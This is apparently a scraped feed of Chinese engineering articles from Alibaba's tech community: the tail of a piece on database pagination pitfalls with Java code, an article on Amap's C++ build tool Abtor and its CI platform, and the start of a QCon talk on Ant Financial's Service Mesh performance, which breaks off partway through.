        所以,在数据查询时,特别是不能预估数据量的大小时,需要考虑数据的分页查询。

        这里,主要介绍"设置最大数量"和"采用分页查询"两种方式。

        5.2设置最大数量

        "设置最大数量"是一种最简单的分页查询,相当于只返回第一页数据。例子代码如下:

        
        /** 订单DAO接口 */
        public interface OrderDAO {
            /** 查询过期订单函数 */
            @Select("select * from t_order where status = 5 and gmt_create < date_sub(current_timestamp, interval 30 day) limit 0, #{maxCount}")
            public List<OrderDO> queryTimeout(@Param("maxCount") Integer maxCount);
        }
        
        /** 订单服务接口 */
        public interface OrderService {
            /** 查询过期订单函数 */
            public List<OrderVO> queryTimeout(Integer maxCount);
        }

        适用于没有分页需求、但又担心数据过多导致内存溢出、数据量过大的查询。

        5.3采用分页查询

        "采用分页查询"是指定startIndex(开始序号)和pageSize(页面大小)进行数据查询,或者指定pageIndex(分页序号)和pageSize(页面大小)进行数据查询。例子代码如下:

        
        /** 订单DAO接口 */
        public interface OrderDAO {
            /** 统计过期订单函数 */
            @Select("select count(*) from t_order where status = 5 and gmt_create < date_sub(current_timestamp, interval 30 day)")
            public Long countTimeout();
            /** 查询过期订单函数 */
            @Select("select * from t_order where status = 5 and gmt_create < date_sub(current_timestamp, interval 30 day) limit #{startIndex}, #{pageSize}")
            public List<OrderDO> queryTimeout(@Param("startIndex") Long startIndex, @Param("pageSize") Integer pageSize);
        }
        
        /** 订单服务接口 */
        public interface OrderService {
            /** 查询过期订单函数 */
            public PageData<OrderVO> queryTimeout(Long startIndex, Integer pageSize);
        }

        适用于真正的分页查询,查询参数startIndex(开始序号)和pageSize(页面大小)可由调用方指定。

        5.4分页查询隐藏问题

        假设,我们需要在一个定时作业(每5分钟执行一次)中,针对已经超时的订单(status=5,创建时间超时30天)进行超时关闭(status=10)。实现代码如下:

        
        /** 订单DAO接口 */
        public interface OrderDAO {
            /** 查询过期订单函数 */
            @Select("select * from t_order where status = 5 and gmt_create < date_sub(current_timestamp, interval 30 day) limit #{startIndex}, #{pageSize}")
            public List<OrderDO> queryTimeout(@Param("startIndex") Long startIndex, @Param("pageSize") Integer pageSize);
            /** 设置订单超时关闭 */
            @Update("update t_order set status = 10 where id = #{orderId} and status = 5")
            public Long setTimeoutClosed(@Param("orderId") Long orderId)
        }
        
        /** 关闭过期订单作业类 */
        public class CloseTimeoutOrderJob extends Job {
            /** 分页数量 */
            private static final int PAGE_COUNT = 100;
            /** 分页大小 */
            private static final int PAGE_SIZE = 1000;
            /** 作业执行函数 */
            @Override
            public void execute() {
                for (int i = 0; i < PAGE_COUNT; i++) {
                    // 查询处理订单
                    List<OrderDO> orderList = orderDAO.queryTimeout(i * PAGE_COUNT, PAGE_SIZE);
                    for (OrderDO order : orderList) {
                        // 进行超时关闭
                        ......
                        orderDAO.setTimeoutClosed(order.getId());
                    }
        
                    // 检查处理完毕
                    if(orderList.size() < PAGE_SIZE) {
                        break;
                    }
                }
            }
        }

        粗看这段代码是没有问题的,尝试循环100次,每次取1000条过期订单,进行订单超时关闭操作,直到没有订单或达到100次为止。但是,如果结合订单状态一起看,就会发现从第二次查询开始,每次会忽略掉前startIndex(开始序号)条应该处理的过期订单。这就是分页查询存在的隐藏问题:

        当满足查询条件的数据,在操作中不再满足查询条件时,会导致后续分页查询中前startIndex(开始序号)条满足条件的数据被跳过。

        可以采用"设置最大数量"的方式解决,代码如下:

        
        /** 订单DAO接口 */
        public interface OrderDAO {
            /** 查询过期订单函数 */
            @Select("select * from t_order where status = 5 and gmt_create < date_sub(current_timestamp, interval 30 day) limit 0, #{maxCount}")
            public List<OrderDO> queryTimeout(@Param("maxCount") Integer maxCount);
            /** 设置订单超时关闭 */
            @Update("update t_order set status = 10 where id = #{orderId} and status = 5")
            public Long setTimeoutClosed(@Param("orderId") Long orderId)
        }
        
        /** 关闭过期订单作业(定时作业) */
        public class CloseTimeoutOrderJob extends Job {
            /** 分页数量 */
            private static final int PAGE_COUNT = 100;
            /** 分页大小 */
            private static final int PAGE_SIZE = 1000;
            /** 作业执行函数 */
            @Override
            public void execute() {
                for (int i = 0; i < PAGE_COUNT; i++) {
                    // 查询处理订单
                    List<OrderDO> orderList = orderDAO.queryTimeout(PAGE_SIZE);
                    for (OrderDO order : orderList) {
                        // 进行超时关闭
                        ......
                        orderDAO.setTimeoutClosed(order.getId());
                    }
        
                    // 检查处理完毕
                    if(orderList.size() < PAGE_SIZE) {
                        break;
                    }
                }
            }
        }

        原文发布时间为:2019-11-6
        作者: 常意
        本文来自云栖社区合作伙伴“阿里技术”,了解相关信息可以关注“阿里技术”。

        ]]>
        高德引擎构建及持续集成技术演进之路 Fri, 02 May 2025 09:39:04 +0800 01 背景

        由于导航应用中的地图渲染、导航等核心功能对性能要求很高,所以高德地图客户端中大量功能采用 C++ 实现。随着业务的飞速发展,仅地图引擎库就有40多个模块,工程配置极其复杂,原有的构建及持续集成技术已无法满足日益增长的需求变化。

        除了以百万计的代码行数带来的复杂度外,高德地图客户端中的 C++ 引擎库工程(以下简称引擎库)的构建和持续集成还面临以下几个挑战:

        • 支持多团队协作:多团队意味着多操作系统多 IDE ,降低不同操作系统和不同 IDE 下的工程配置的难度是重点要解决的难题之一;
        • 支持多业务线定制:引擎库为手机、车机、开放平台等业务线提供支持,而各个业务线的诉求不同,所以需要具备按功能构建的能力;
        • 支持车机环境:在诸多业务线中,高德地图有一个非常特殊的业务线,即车机(AMAP AUTO)。车机直接面对各大车厂和众多设备商,环境多为定制化,构建工具链各式各样。如果针对每个车机环境都定制一套构建配置文件,那么其维护成本将非常高,所以如何用一套构建配置满足车机的多样化构建需求成为亟需解决的问题;

        此外,由于历史原因,引擎库中源码和依赖库混杂,都存放于 Git 仓库中,这样会带来两个问题:

        • 随着构建次数不断增加,Git 仓库越来越大,代码与依赖库检出越来越慢,极大影响本地开发以及打包效率;
        • 缺乏统一管理,依赖关系混乱,经常出现因为依赖问题而导致的构建失败,或者虽然构建成功但运行时发生错误的情况;

        上述的挑战和历史遗留问题严重阻碍了研发效能的提升。为此,我们对现有的构建及持续集成工具进行了深入的研究和分析,并结合自身的业务特性,最终发展出高德地图 C++ 本地构建工具 Abtor 和持续集成工具 Amap CI 。

        02本地构建

        现有工具分析

        C++ 是一门靠近底层的语言。不同的硬件、操作系统、编译器,再加上交叉编译,导致 C++ 构建的难度非常高。针对这些问题,C++ 社区涌现出许多优秀的构建工具,比如大名鼎鼎的 Make 和 CMake 。

        Make,即 GNU Make ,于1988年发布,是一个用来执行 Makefile 的工具。Makefile 的基本语法包括目标、依赖和命令等。使用过程中,当某些文件变了,只有直接或者间接依赖这些文件的目标才需要重新构建,这样大大提升了编译速度。

        Make 和 Makefile 的组合可以看作项目管理工具,但它们过于基础,在跨平台的使用方面有很高的门槛和较多的限制,此外大项目的构建还会遇到 Makefile 严重膨胀的问题。

        CMake 产生于2000年,是一个跨平台的编译、测试以及打包工具。它将配置文件转化为 Makefile ,并运行 Make 命令将源码编译成可执行程序或库。CMake 属于 Make 系列,配置文件比 Makefile 具有可读性,支持跨平台构建,构建性能高。

        但是 CMake 也有两项明显不足,一是配置文件的复杂度远高于其它现代语言,对于 CMake 语法初学者有一定的学习成本,二是与不同 IDE 的配合使用不够友好。

        可以看出 Make 和 CMake 的抽象度还是比较低,从而对构建人员的要求过高。为了降低构建成本,C++ 社区又出现了一些新的 C++ 构建工具,现在使用较广泛的包括 Google 的 Bazel 和 Ninja ,以及 SCons 。这些工具的特点和不足如下:

        111.jpg

        经过上述对现有 C++ 构建工具的研究和分析,可以得出每个工具既有所长又有不足的结论。再考虑到高德地图引擎库工程面临的挑战和历史遗留问题,我们发现以上工具没有一个可以完美契合业务需求,且改造成本非常高,所以我们决定基于 CMake 自建 C++ 本地构建工具,即现在引擎库工程使用的 Abtor 。

        Abtor

        首先,我们需要解释一个问题,即 Abtor 是什么?

        Abtor 是一个 C++ 跨平台构建工具。Abtor 采用 Python 编写构建脚本,生成 CMake 配置文件,并通过内置 CMake 组件生成构建文件,最终产出可执行程序或库。它抽象出构建描述,使得复杂的编译器和连接器对开发者透明;它提供强大的内置功能,从而有效的降低开发者编写构建脚本的难度。

        其次,我们需要阐述一个问题,即Abtor的构建流程是什么?

        222.png

        如上图所示,Abtor 构建的整个流程为:

        • 编写 Abtor 构建脚本;
        • 解析 Abtor 构建脚本;
        • 检测依赖关系,识别冲突,并从阿里 OSS 上下载所需依赖;
        • 生成CMakeLists.txt,并通过内置的 CMake 生成 Makefile 文件;
        • 编译,链接,生成对应平台的目标文件;
        • 将目标文件发布到阿里 OSS ;

        除此之外,还增加了控制访问发布库权限的功能,用于保证发布库的安全。

        最后,我们需要探讨一个问题,即Abtor解决了什么?

        在开篇背景中,我们提到阻碍研发效能的一些挑战和问题,这就是 Abtor 需要解决的,所以 Abtor 具备以下特点:

        • 更广泛的跨平台:支持 MacOS 、iOS、Android、 Linux、Windows、QNX 等平台;
        • 有效的多团队协作:较好得与 IDE 结合,并支持一套配置生成不同项目工程,从而达到工程配置一致化;
        • 高定制化:支持工具链及构建参数的灵活定制,并通过内置工具链配置为车机复杂的构建提供强有力的支持;
        • 源码与依赖分离:支持源码依赖与库依赖,源码通过Git管理,构建库存放于阿里云,源码与产物完全分离;
        • 良好的构建性能:快速构建大型项目,从而提高开发效率;

        从上述特点可看到,Abtor 有效地解决了已有的构建工具在高德业务中面临的痛点。但是冰冻三尺,非一日之寒,Abtor 也是在不断地完善中,下面重点介绍一下 Abtor 发展过程中遇到的三个问题。

        工程配置一致化

        在日常开发过程中,工程项目的调试工作尤为重要。高德地图客户端中的 C++ 引擎库工程的开发人员涉及几个部门和诸多小组。这些组擅长的技术栈,使用的平台和习惯的开发工具都大为不同。如果针对每一个平台都单独建立相应的工程配置,那么工作量及后续维护成本可想而知。

        基于以上原因,Abtor 内置与 IDE 结合的功能,即开发者可以通过一套配置并结合 Abtor 命令一键生成工程配置,实现在不同平台的工程配置的一致化。工程配置一致化为引擎库开发带来以下几个收益:

        命令简单,降低学习成本,开发者只需熟记 abtorw project [IDE name];

        配置文件不会因为 IDE 的增加而迅速膨胀,开发者更换构建命令,比如 abtorw project xcode 或者abtorw project vs2015,即可生成对应的项目工程;

        有利于部门间的协作及新人的快速融入,开发者可以根据喜好选择 IDE 进行开发,大大提高开发效率;

        目前Abtor支持的IDE有 Xcode、Android Studio、Visual Studio、Qt Creator、CLion等。

        复杂车机环境的构建

        作为高德地图一条非常重要的业务线,车机面对的构建环境复杂多变,厂商往往会自行定制工具链。如果每接入一个设备,所有工程项目都需要修改配置文件,那么这个成本还是非常高的。为了解决这个问题,Abtor 提供两种做法:

        内置工具链配置:对于开发者完全透明,他不需要修改任何配置即可构建相应平台的产物;

        支持自定义配置插件:开发者按照规则编写配置插件,构建时 Abtor 会检测插件,并根据设置的工具链及构建参数进行构建;

        除此之外,我们对所有的车机环境进行了 Docker 化处理,并通过 Docker 控制中心统一管理车机 Docker 环境的上线与下线,再利用上述 Abtor 的内置工具链配置功能内置车机构建参数,实现开发者无感知的环境切换等操作,有效地解决了复杂车机环境的构建问题。

        基于 Docker 的车机构建主要步骤如下:

        • 工具链安装:一般由厂商提供,我们会将该工具链安装到基础 Docker 镜像中;
        • Docker 发布:将镜像发布到 Docker 仓库;
        • Abtor 适配:一次性适配工具链,并内置配置,开发者可通过 Abtor 版本升级使用该配置;
        • 服务配置更新:由 Jenkins 管理,支持分批更新 Abtor 版本,不影响当下编译需求;
        • 服务监控: 由 Jenkins 管理,定时检测服务状态,异常态的 Docker 服务将自动被重启;

        基于Docker的车机构建关系图如下:
        333.jpg

        依赖管理

        依赖问题是所有构建工具都避免不了的问题,在这其中,菱形依赖问题尤为常见。如下图所示,假设 A 依赖了 B 和 C ,B 和 C 又分别依赖了不同版本的 D,而 D 之间只存在很小的差异,这是可以编译通过的,但最终在运行时可能会出现意想不到的问题。

        如果没有一种机制来检测,菱形依赖是很难被发现,而产生的后果又可能是非常严重的,比如导致线上出现大面积的崩溃等。所以依赖问题的分析与解决非常重要。

        444.png

        当下,市面上 Java 有比较成熟的依赖管理解决方案,如 Maven 等,但 C++ 并没有。为此 Abtor 专门建立依赖管理的机制来确保编译的正确性。

        Abtor 的依赖管理是怎么做的呢?这里提供一个思路供大家参考:

        • 建立 Abtor 服务端,用做库发布,以及处理依赖关系;
        • 每个库在云端构建完,都会把库依赖的版本信息存放于云端数据库中;
        • 本地/云端构建前 Abtor 会解析出所有依赖库的版本信息;
        • 递归查找这些子库对应的依赖信息,即可罗列出所有依赖库的信息;
        • 检测依赖库列表中是否存在不同版本号的相同库名:
        • 如果没有相同库名,则继续执行构建;
        • 如果有相同库名,则说明依赖库之间存在冲突问题,此时中断构建,并显示冲突的库信息,待开发者解决完冲突后方可继续执行构建;

        根据上述思路,我们保证了库依赖的一致性,避免了菱形依赖问题。另外,如果某个库被其它库所依赖且有更新,那么依赖它的库也应当随之构建,以确保依赖的一致性。这种对依赖构建的触发更新我们放到 Amap CI 上实现,在第三节会进行详细介绍。

        工程实践

        在介绍完 Abtor 的一些基本原理后,我们将介绍 Abtor 在日常开发中是如何使用的。

        下图是 Abtor 工程项目的目录结构,其中有两类文件是开发者需要关心的,一类是源文件目录(src),一类是 Abtor 核心配置文件(abtor.proj)。

        ├── ABTOR
        │   └── wrapper
        │       ├── abtor-wrapper.properties # 配置文件,可指定Abtor版本信息
        │       └── abtor-wrapper.py         # 下载Abtor版本并调用Abtor入口函数
        ├── abtor.proj                       # Abtor核心配置文件
        ├── abtorw                           # Linux/Mac下的初始执行脚本
        ├── abtorw.bat                       # Windows下的初始执行脚本
        └── src
            └── main.c                       # 要编译的源文件
        

        源文件目录的组织形式与 Make 系列构建工具没有太大区别。下面重点看一下Abtor核心配置文件:

        # -*- coding: UTF-8 -*-
        
        # 以下内容为python语法
        
        # 指定编译的源码
        header_dirs_list = [abtor_path("include")]    # 依赖的头文件目录
        binary_src_list = [abtor_path("src/main.c")]  # 源码
        
        cflags = " -std=c99 -W -Wall "
        cxxflags = " -W -Wall "
        
        # 指定编译二进制
        abtor_ccxx_binary(
          name = 'demo',
          c_flags = cflags,
          cxx_flags = cxxflags,
          deps = ["add:1.0.0.0"],                       # 指定依赖的库信息
          include_dirs = header_dirs_list;
          srcs = binary_src_list
        )

        从上图可以看出,Abtor核心配置文件具有以下几个特点:

        • 采用Python编写,易上手;
        • 抽象类似 abtor_ccxx_binary 等的构建描述,降低使用门槛;
        • 提供诸如 abtor_path 等的内置功能,提高开发效率;

        通过以上的对源文件目录组织及 Abtor 核心配置文件编写,我们就完成了项目的Abtor配置化,接着可以通过Abtor内置的命令构建、发布或直接生成项目工程。我们相信,即使开发者不是很精通构建原理,依然可以无障碍地使用Abtor进行构建与发布。

        03 持续集成

        面临的问题

        如下图所示,整个开发工作流程可分为几个阶段:编码->构建->集成->测试->交付->部署。在使用Abtor解决本地构建遇到的一系列挑战与问题后,我们开始将目光转移到了整个持续集成阶段。

        555.png

        持续集成是指软件个人研发的部分向软件整体部分交付,频繁进行集成以便更快地发现其中的错误。它源自极限编程(XP),是 XP最初的12种实践之一。对于引擎库来说,持续集成方案应该具备一次性批量构建不同平台不同架构目标文件的能力,同时也应当具备运维管理和消息管理的能力等。

        最初高德引擎库使用 Jenkins 进行持续集成。因为引擎库开发采用在 Git 仓库上拉取分支的方式进行版本管理,所以每次版本迭代都需要手动建立 Jenkins Job,修改相应脚本,另外还需要额外搭建一个依赖库关系的 Jenkins Job 做联动编译。

        假设有100个项目,那么每个版本迭代都需要手动创建101个 Jenkins Job 。每次版本迭代都重复类似的操作,中间需要大量的协调工作,随着迭代版本越来越多,这些 Jenkins Job 变得不可维护。这是 Jenkins 持续集成方案在高德引擎库开发过程中遇到的非常严重的问题。

        基于上述原因,我们迫切得需要这样一个持续集成系统:开发者不用维护Jenkins,不需要部署构建环境,可以不了解构建细节,只需要通过某个触发事件就能够构建出所有平台的目标文件。于是我们决定自建持续集成平台,即 Amap CI。

        Amap CI

        Amap CI 平台使用Gitlab的Git Webhook实现持续集成。其中,Gitlab 接收开发者的 tag push 事件,回调 CI平台的后台服务,然后后台服务根据构建机器的运行情况进行任务的分发。当构建任务较多时,CI平台会等待直到有构建资源才进行任务的再分配。

        Amap CI 平台由任务管理、Jenkins管理、构建管理、通知管理、网页前端展示等几部分组成,整体架构图如下:

        666.png

        通过 Amap CI 平台,我们达到了以下几个目的:

        • 可扩容:所有构建机器通过注册的方式接入,构建机器扩容变得非常容易,减轻构建峰值带来的压力;
        • 可视化:Abtor Server 对于开发者是透明的。CI 平台与 Abtor Server 交互,为开发者提供冲突检查、依赖查看及库下载等可视化功能;
        • 智能化: CI 平台内置标准的 Jenkins Job 构建模板。开发者不感知这些模板,也无须做任何的修改。他们只需要通过 Git 提交一个 tag 信息即可实现全平台的构建,从而实现一键打 tag 构建;
        • 自动化:服务分析 Gitlab hook tag 的 push 信息并拉取代码,然后解析对应的配置文件和要构建的所有平台信息。根据这些信息CI平台分配构建机器,并执行 Abtor 命令进行构建与发布。所有这些皆自动完成;
        • 即时性:构建启动后会发送钉钉消息,消息除了概要信息外还附加了构建的链接等,开发者可以点击链接跟踪进度情况。构建成功或失败也都会发送消息,从而使得开发者可以及时进行下一步工作或处理构建错误;
        • 可扩展:CI平台提供可扩展的对接方式,方便高德或阿里的其它平台对接,比如泰坦平台、CT平台、Aone等,从而实现编码、构建、测试和发布的开发闭环;

        在上述目的中,对 Amap CI 平台最重要的是自动化,下面我们重点介绍一下自动化中的整树联动编译。

        777.png

        整树联动编译

        在第二部分中我们提到了一个问题,即如果某个库被其它库所依赖且有更新,那么依赖它的库也应当随之构建,以确保依赖的一致性,这是构建自动化的关键点之一。Amap CI 采用整树联动编译的方案来解决这个问题。

        开发者在CI平台上建立对应的版本构建树,构建树中罗列了各个库之间的构建顺序,如下图所示。CI平台会根据这棵构建树进行构建,被依赖的库优先构建,完成后再自动触发其上级的库构建,以此类推,最终形成一棵多叉树。在这棵多叉树上,从叶子节点开始按层级顺序逐级并发构建对应的库,这就是整树联动编译。

        根据上述思路,我们保证了持续集成时的依赖一致性。开发者只需关心自己负责的库,打个 tag ,即可触发生成所有依赖该库的库,从而避免了依赖不一致的问题。

        工程实践

        在介绍完 Amap CI 的一些基本原理后,我们将介绍日常开发中应该如何使用Amap CI。

        一个新的工程项目在集成到 Amap CI 平台时,首先需要将CI平台的 web hook 网址增加到 Gitlab 的配置中,然后编写配置文件 CI_CONFIG.json ,至此一个新的项目已集成完成,非常简单。下面我们重点介绍一下 CI_CONFIG.json 。

        CI_CONFIG.json 是核心配置文件,一次编写,无需再修改。它的结构如下:

        CI_CONFIG.json DEMO:(json)
        {
            "mail":"name@alibaba-inc.com",                    # 邮件通知
            "arch":"Android,iOS,Mac,Ubuntu64,Windows",        # 构建的平台
            "build_vars":"-v -V",                             # 构建参数
            "modules":{                                       # 构建的模块列表
                "amap":{                                      # 模块名为amap
                    "features":[                              # 功能列表
                        {
                            "name":"feature1",                # 设置功能名为feature1
                            "macro":"-DFEATURE_DEMO1=True"    # 宏控:FEATURE_DEMO1
                        },
                        {
                            "name":"feature2",               # 设置功能名为feature2
                            "macro":"-DFEATURE_DEMO2=True"   # 宏控:FEATURE_DEMO2
                        }
                    ]
                },
                "auto":{                                    # 模块名为auto
                    "features":[                            # 功能列表
                        {
                            "name":"feature1",              # 设置功能名为feature1
                            "macro":"-DFEATURE_DEMO1=True"  # 宏控:FEATURE_DEMO1
                        },
                        {
                            "name":"feature3",             # 设置功能名为feature3
                            "macro":"-DFEATURE_DEMO3=True" # 宏控:FEATURE_DEMO3
                        }
                    ]
                }
            }
        }

        从上图可以看出,配置文件描述了邮件通知、构建的平台、构建参数等信息,同时还为多业务线定制提供了良好的支持。

        Amap CI 构建时读取上述文件,解析不同项目中配置的宏,并通过参数传递给 Abtor ,另一方面开发者在代码中利用这些宏进行代码隔离,构建时会根据这些宏选择对应的源码进行编译,从而支持多条业务线不同的需求,达到代码层面的最大复用。

        目前 Amap CI 接入的项目数有几百个,编译的次数达到几十万次级别,同时在构建性能和构建成功率方面相比之前都有了大幅度的提高,现在仍旧不断有新的项目接入到构建平台上。可以说 Amap CI 平台是高德地图客户端 C++ 工程快速迭代开发的坚实保障。

        04 未来展望

        从2016年年中调研现有构建工具算起,到现在三年有余。三年很长,足以让我们将构想变成现实,足以让我们不断完善 Abtor ,足以让我们发展出 Amap CI 。三年又很短,对于一个系统开发生命周期而言,这仅仅是萌芽阶段,我们的征途才刚刚开始。

        关于未来,我们的规划是向开发闭环方向发展,即打通编码、构建、集成、测试、交付和部署等各个环节中的链路,解决业务开发闭环的问题,实现整个开发流程自动化,进一步把开发者从繁琐的流程中解放出来,使得这些人员有精力去做更有价值的事情。

        ]]>
        诗和远方:蚂蚁金服 Service Mesh 深度实践 | QCon 实录 Fri, 02 May 2025 09:39:04 +0800

        敖小剑,蚂蚁金服高级技术专家,十七年软件开发经验,微服务专家,Service Mesh 布道师,ServiceMesher 社区联合创始人。专注于基础架构和中间件,Cloud Native 拥护者,敏捷实践者,坚守开发一线打磨匠艺的架构师。曾在亚信、爱立信、唯品会等任职,目前就职蚂蚁金服,在中间件团队从事 Service Mesh/ Serverless 等云原生产品开发。本文整理自10月18日在 QCon 上海 2019 上的演讲内容。

        前言

        大家好,我是敖小剑,来自蚂蚁金服中间件团队,今天带来的主题是“诗和远方:蚂蚁金服 Service Mesh 深度实践”。

        在过去两年,我先后在 QCon 做过两次 Service Mesh 的演讲:

        今天,有幸第三次来到 QCon,给大家带来的依然是蚂蚁金服在 Service Mesh 领域的实践分享。和去年不同的是,今年蚂蚁金服进入了 Service Mesh 落地的深水区,规模巨大,而且即将迎来双十一大促考验。

        备注:现场做了一个调研,了解听众对 Servicve Mesh 的了解程度,结果不太理想:在此之前对 Service Mesh 有了解的同学目测只有10%多点(肯定不到20%)。Service Mesh 的技术布道,依然任重道远。

        今天给大家带来的内容主要有三块:

        1. 蚂蚁金服落地情况介绍:包括大家最关心的双十一落地情况;
        2. 大规模落地的困难和挑战:分享一下我们过去一年中在大规模落地上遇到的问题;
        3. 是否采用 Service Mesh 的建议:这个问题经常被人问起,所以借这个机会给出一些中肯的建议供大家参考;

        蚂蚁金服落地情况介绍

        发展历程和落地规模

        ppt-5.png

        Service Mesh 技术在蚂蚁金服的落地,先后经历过如下几个阶段:

        • 技术预研 阶段:2017年底开始调研并探索 Service Mesh 技术,并确定为未来发展方向;
        • 技术探索 阶段:2018年初开始用 Golang 开发 Sidecar SOFAMosn,年中开源基于 Istio 的 SOFAMesh;
        • 小规模落地 阶段:2018年开始内部落地,第一批场景是替代 Java 语言之外的其他语言的客户端 SDK,之后开始内部小范围试点;
        • 规模落地 阶段:2019年上半年,作为蚂蚁金融级云原生架构升级的主要内容之一,逐渐铺开到蚂蚁金服内部的业务应用,并平稳支撑了618大促;
        • 全面大规模落地 阶段:2019年下半年,在蚂蚁金服内部的业务中全面铺开,落地规模非常庞大,而且准备迎接双十一大促;

        目前 ServiceMesh 正在蚂蚁金服内部大面积铺开,我这里给出的数据是前段时间(大概9月中)在云栖大会上公布的数据:应用数百个,容器数量(pod 数)超过10万。当然目前落地的pod数量已经远超过10万,这已经是目前全球最大的 Service Mesh 集群,但这仅仅是一个开始,这个集群的规模后续会继续扩大,明年蚂蚁金服会有更多的应用迁移到 Service Mesh。

        主要落地场景

        ppt-6-1.jpg

        目前 Service Mesh 在蚂蚁金服内部大量落地,包括支付宝的部分核心链路,落地的主要场景有:

        • 多语言支持:目前除了支持 Java 之外,还支持 Golang,Python,C++,NodeJS 等语言的相互通信和服务治理;
        • 应用无感知的升级:关于这一点我们后面会有特别的说明;
        • 流量控制:经典的 Istio 精准细粒度流量控制;
        • RPC 协议支持:和 Istio 不同,我们内部使用的主要是 RPC 协议;
        • 可观测性;

        Service Mesh 的实际性能数据

        之前和一些朋友、客户交流过,目前在 Service Mesh 方面大家最关心的是 Service Mesh 的性能表现,包括对于这次蚂蚁金服 Service Mesh 上双十一,大家最想看到的也是性能指标。

        为什么大家对性能这么关注?

        ppt-7.png

        因为在 Service Mesh 工作原理的各种介绍中,都会提到 Service Mesh 是将原来的一次远程调用,改为走Sidecar(而且像 Istio 是客户端和服务器端两次 Sidecar,如上图所示),这样一次远程调用就会变成三次远程调用,对性能的担忧也就自然而然的产生了:一次远程调用变三次远程调用,性能会下降多少?延迟会增加多少?

        下图是我们内部的大促压测数据,对比带 SOFAMosn 和不带 SOFAMosn 的情况(实现相同的功能)。其中 SOFAMosn 是我们蚂蚁金服自行开发的基于 Golang 的 Sidecar/数据平面,我们用它替代了 Envoy,在去年的演讲中我有做过详细的介绍。

        SOFAMosn:https://github.com/sofastack/sofa-mosn

        ppt-8.png

        • CPU:CPU 使用在峰值情况下增加8%,均值约增加2%。在最新的一次压测中,CPU 已经优化到基本持平(低于1%);
        • 内存:带 SOFAMosn 的节点比不带 SOFAMosn 的节点内存占用平均多 15M;
        • 延迟:延迟增加平均约0.2ms。部分场景带 SOFAMosn 比不带 SOFAMosn RT 增加约5%,但是有部分特殊场景带 SOFAMosn 比不带 SOFAMosn RT 反而降低7.5%;

        这个性能表现,和前面"一次远程调用变三次远程调用"的背景和担忧相比有很大的反差。尤其是上面延迟的这个特殊场景,居然出现带 SOFAMosn(三次远程调用)比不带 SOFAMosn(一次远程调用) 延迟反而降低的情况。

        是不是感觉不科学?

        Service Mesh 的基本思路

        我们来快速回顾一下 Service Mesh 实现的基本思路:

        ppt-9.png

        在基于 SDK 的方案中,应用既有业务逻辑,也有各种非业务功能。虽然通过 SDK 实现了代码重用,但是在部署时,这些功能还是混合在一个进程内的。

        在 Service Mesh 中,我们将 SDK 客户端的功能从应用中剥离出来,拆解为独立进程,以 Sidecar 的模式部署,让业务进程专注于业务逻辑:

        • 业务进程:专注业务实现,无需感知 Mesh;
        • Sidecar 进程:专注服务间通讯和相关能力,与业务逻辑无关;

        我们称之为"关注点分离":业务开发团队可以专注于业务逻辑,而底层的中间件团队(或者基础设施团队)可以专注于业务逻辑之外的各种通用功能。

        通过 Sidecar 拆分为两个独立进程之后,业务应用和 Sidecar 就可以实现“独立维护”:我们可以单独更新/升级业务应用或者 Sidecar。

        性能数据背后的情景分析

        我们回到前面的蚂蚁金服 Service Mesh 落地后的性能对比数据:从原理上说,Sidecar 拆分之后,原来 SDK 中的各种功能只是拆分到 Sidecar 中。整体上并没有增减,因此理论上说 SDK 和 Sidecar 性能表现是一致的。由于增加了应用和 Sidecar 之间的远程调用,性能不可避免的肯定要受到影响。

        首先我们来解释第一个问题:为什么性能损失那么小,和"一次远程调用变三次远程调用"的直觉不符?

        ppt-10.png

        所谓的“直觉”,是将关注点都集中到了远程调用开销上,下意识的忽略了其他开销,比如 SDK 的开销、业务逻辑处理的开销,因此:

        ppt-10-2.png

        推导出来的结果就是有3倍的开销,性能自然会有非常大的影响。

        但是,真实世界中的应用不是这样:

        1. 业务逻辑的占比很高:Sidecar 转发的资源消耗相比之下要低很多,通常是十倍百倍甚至千倍的差异;
        2. SDK 也是有消耗的:即使不考虑各种复杂的功能特性,仅仅就报文(尤其是 Body)序列化的编解码开销也是不低的。而且,客户端和服务器端原有的编解码过程是需要处理 Body 的,而在 Sidecar 中,通常都只是读取 Header 而透传 Body,因此在编解码上要快很多。另外应用和 Sidecar 的两次远程通讯,都是走的 Localhost 而不是真实的网络,速度也要快非常多;

        因此,在真实世界中,我们假定业务逻辑百倍于 Sidecar 的开销,而 SDK 十倍于 Sidecar 的开销,则:

        ppt-10-3.png

        推导出来的结果,性能开销从111增加到113,大约增加2%。这也就解释了为什么我们实际给出的 Service Mesh 的 CPU 和延迟的性能损失都不大的原因。当然,这里我是刻意选择了100和10这两个系数来拼凑出2%这个估算结果,以迎合我们前面给出“均值约增加2%”的数据。这不是准确数值,只是用来模拟。

        情理当中的意外惊喜

        前面的分析可以解释性能开销增加不多的情景,但是,还记得我们的数据中有一个不科学的地方吗:“部分特殊场景带 SOFAMosn 比不带 SOFAMosn RT 反而降低7.5%”。

        理论上,无论业务逻辑和 SDK 的开销比 Sidecar 的开销大多少,也就是不管我们怎么优化 Sidecar 的性能,其结果也只能接近零。无论如何不可能出现多两个 Sidecar,CPU 消耗和延迟反而降低的情况。

        这个“不科学”是怎么出现的?

        我们继续来回顾这个 Service Mesh 的实现原理图:

        ppt-11.png

        出现性能大幅提升的主要的原因,是我们在 SOFAMosn 上做了大量的优化,特别是路由的缓存。在蚂蚁金服内部,服务路由的计算和处理是一个异常复杂的逻辑,非常耗资源。而在最近的优化中,我们为服务路由增加了缓存,从而使得服务路由的性能得到了大幅提升。因此:

        ppt-11-2.png

        备注:这里我依然是刻意拼凑出-7%这个估算结果,请注意这不是准确数值,只是用来模拟示意。

        也许有同学会说,这个结果不“公平”:这是优化了的服务路由实现在 PK 没有优化的服务路由实现。的确,理论上说,在 Sidecar 中做的任何性能优化,在 SDK 里面同样可以实现。但是,在 SDK 上做的优化需要等整个调用链路上的应用全部升级到优化后的 SDK 之后才能完全显现。而在传统 SDK 方案中,SDK 的升级是需要应用配合,这通常是一个漫长的等待过程。很可能代码优化和发版一周搞定,但是让全站所有应用都升级到新版本的 SDK 要花费数月甚至一年。

        此时 Service Mesh 的优点就凸显出来了:Service Mesh 下,业务应用和 Sidecar 可以“独立维护” ,我们可以很方便的在业务应用无感知的情况下升级 Sidecar。因此,任何 Sidecar 的优化结果,都可以非常快速的获取收益,从而推动我们对 Sidecar 进行持续不断的升级。

        前面这个延迟降低7%的例子,就是一个非常经典的故事:在中秋节前后,我们开发团队的同学,不辞辛苦加班加点的进行压测和性能调优,在一周之内连续做了多次性能优化,连发了多个性能优化的小版本,以“小步快跑”的方式,最后拿到了这个令大家都非常开心的结果。

